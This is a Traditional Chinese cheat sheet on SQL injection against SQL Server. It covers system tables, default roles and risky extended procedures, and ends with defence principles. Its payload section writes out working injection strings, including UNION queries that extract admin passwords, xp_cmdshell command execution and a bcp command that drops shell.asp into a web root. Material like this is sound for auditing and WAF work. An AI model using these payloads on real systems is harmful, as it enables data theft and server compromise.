首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Injection 速查筆記:關鍵系統表、預設帳號、擴展預存程序與常用 Payload

     編輯:關於SqlServer

⚠️ 僅供授權滲透測試、程式碼審計、防禦簽名編寫參考,嚴禁非法用途

關鍵系統表 (資訊蒐集)

  • sysobjects / ncsysobjects:所有物件目錄
  • sysindexes / tsysindexes:索引資訊
  • syscolumns:欄位定義
  • systypes:資料型別
  • sysusers / sysxlogins:使用者/登入帳號
  • sysdatabases:資料庫清單
  • sysprocesses:目前連線程序
  • INFORMATION_SCHEMA.COLUMNS/TABLES:ANSI 標準檢視,版本相容性佳

預設高權限角色/使用者

  • public:所有使用者隸屬
  • dbo:資料庫擁有者
  • guest:通常停用/無權限
  • db_securityadmin、db_ddladmin 等固定資料庫角色

危險擴展預存程序 (若未移除/限制)

常見注入 Payload 模式

-- 判斷注入點
' OR '1'='1 --
' UNION SELECT @@version,1,1,1 --
' AND 1=(SELECT @@VERSION) --
' AND 'sa'=(SELECT SYSTEM_USER) --

-- 列舉欄位 (盲注/Union-based)
' UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' --
' UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' AND COLUMN_NAME NOT IN ('login_id') --
' UNION SELECT TOP 1 login_name FROM logintable --
' UNION SELECT TOP 1 password FROM logintable WHERE login_name='admin' --

-- 檢查 xp_cmdshell 可用性
' UNION SELECT @@version,1,1,1 --
; EXEC xp_cmdshell 'dir' --

-- 讀寫檔案 (BCP)
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\shell.asp -c -Slocalhost -Usa -Ppass

防禦核心原則

  1. 參數化查詢 / 預存程序:徹底杜絕字串拼接 SQL。
  2. 最小權限:應用程式帳號僅授予必要 CRUD 權限,移除 PUBLIC 對危險擴展程序執行權。
  3. 錯誤訊息不外洩:自訂錯誤頁面,記錄詳細錯誤至日誌而非回傳前端。
  4. 輸入驗證與 WAF:白名單驗證、長度限制、特殊字元編碼/過濾。
  5. 定期審計:掃描動態 SQL、檢查擴展程序權限、監控異常查詢模式。

總結

熟悉系統表結構、預設權限、危險擴展程序與注入模式,能強化程式碼審計與 WAF 規則編寫能力。但根本防禦在於安全開發生命週期 (SDL) 的落實,而非事後修補。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved
分類程序風險
登錄操作xp_regread, xp_regwrite, xp_regdeletekey, xp_regenumvalues...讀寫系統登錄,提權、植入後門
檔案系統xp_availablemedia, xp_dirtree, xp_cmdshell列舉磁碟、目錄遍歷、命令執行
網路/設定xp_enumdsn, xp_loginconfig, xp_ntsec_enumdomains偵測 DSN、驗證模式、網域資訊
進程控制xp_terminate_process終止任意 PID
其他xp_makecab, xp_webserver (自訂)壓縮、自訂 Web 服務呼叫